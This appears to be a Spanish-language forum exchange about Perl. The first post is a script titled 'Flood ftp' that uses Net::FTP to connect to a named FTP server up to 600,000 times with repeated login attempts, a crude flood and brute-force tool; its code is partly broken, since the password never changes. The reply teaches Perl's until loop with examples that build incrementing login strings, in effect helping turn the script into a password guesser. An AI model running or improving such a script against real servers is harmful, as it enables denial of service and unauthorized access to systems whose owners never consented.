Ftp en perl !

#Logo
print q(
Flood ftp
);
use Net::FTP;
#Create user and pass
my $contador=0;
my $userpass="AAAAAA";
do
{
print("Intentos : $contador");
$userpass x 1;
$contador++;
my $ftp = Net::FTP->new("ftp.jamaikamu.com") or die("No se pudo conectar al servidor: $!");
$ftp->login($userpass,$userpass);
print("Login incorrecto");
#ACCIONES QUE QUEREMOS EJECUTAR EN EL SERVIDOR
$ftp->quit or die("No se puedo desconectar del servidor: $!");
print("Intentos : $contador");
} until($contador > 600000);

Te recomiendo que primero lo maquetees para que conozca como funciona el modificador until, aunque yo prefería usar for xD.

Ejemplo de until para incrementar:

Código

#!/user/bin/perl
 
#Ejemplo de until
 
my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$password .=$i;
$login = $username.$password;
print $login, "\n";
}

Salida:

Código:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios1
holaadios12
holaadios123
holaadios1234
holaadios12345
holaadios123456
holaadios1234567
holaadios12345678
holaadios123456789
holaadios12345678910
holaadios1234567891011

O tambien se puede usar para ejecutar lo que esta dentro del modificador las veces que se indique.

Código

#!/user/bin/perl
 
#Ejemplo de until
 
my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$login = $username.$password;
print $login, "\n";
}
print "Estoy fuera del modificador y no me afecta\n";

Salida:

Código:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
Estoy fuera del modificador y no me afecta
yoya@yoya-desktop:~/Escritorio$

Ya con esto sabrás como se hace xD.